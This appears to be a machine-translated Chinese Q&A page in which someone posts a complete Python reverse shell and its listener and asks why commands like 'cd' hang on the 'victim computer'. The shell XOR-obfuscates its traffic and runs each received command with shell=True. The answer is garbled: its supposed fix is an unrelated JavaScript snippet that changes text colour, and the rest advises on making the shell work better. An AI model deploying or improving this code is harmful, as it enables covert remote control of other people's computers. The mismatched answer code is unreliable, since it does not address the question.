使用python反向shell

时间:2016-07-14 22:49:13

标签: python shell

我在python中有以下监听器和反向shell:

监听器:

import socket 

s= socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(("0.0.0.0", 443))
s.listen(2)
print "Listening on port 443... "
(client, (ip, port)) = s.accept()
print " Received connection from : ", ip

while True:
 command = raw_input('~$ ')
 encode = bytearray(command)
 for i in range(len(encode)):
   encode[i] ^=0x41
 client.send(encode)
 en_data=client.recv(2048)
 decode = bytearray(en_data)
 for i in range(len(decode)):
   decode[i] ^=0x41
 print decode

client.close()
s.close()

反向shell:

import socket, subprocess, sys

RHOST = '127.0.0.1' #sys.argv[1]
RPORT = 443
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((RHOST, RPORT))

while True:
    #receive encoded data
    en_comm = s.recv(1024)
    #decoded the received command
    de_comm = bytearray(en_comm)
    for i in range(len(de_comm)):
        de_comm[i] ^= 0x41

    #execute the clear text comamnd after decode it
    clrtxt_comm = subprocess.Popen(str(de_comm), shell=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
    output, STDERR = clrtxt_comm.communicate()

    #encode the command output and send it over ssl
    en_output = bytearray(output)
    for i in range(len(en_output)):
        en_output[i] ^= 0x41
    s.send(en_output)

s.close()

启动侦听器并触发反向shell后,它运行正常并在受害者计算机中打开shell,但最重要的是发送命令如“cd ..”或“mkdir foldername”(如果是Windows)它停留在相同的输入中,不会更进一步。

您是否看到/意识到代码中的问题是什么?

非常感谢!

1 个答案:

答案 0 :(得分:0)

我猜你有一些问题。

首先是

你需要为那些没有输出像cd:

这样的输出的命令添加这样的东西
<script>
var artistProfile = document.getElementsByTagName("dd");
artistProfile.style.color = "white";
</script>

其次,当您打开执行cd的进程时,您不会更改反向shell脚本的路径。为此,您必须将新路径注入os.chdir()或执行等效的操作(更好的是,只需将其传递给输出为ls的命令)。

第三,反向shell可能是沙箱,因此无法执行上述某些命令。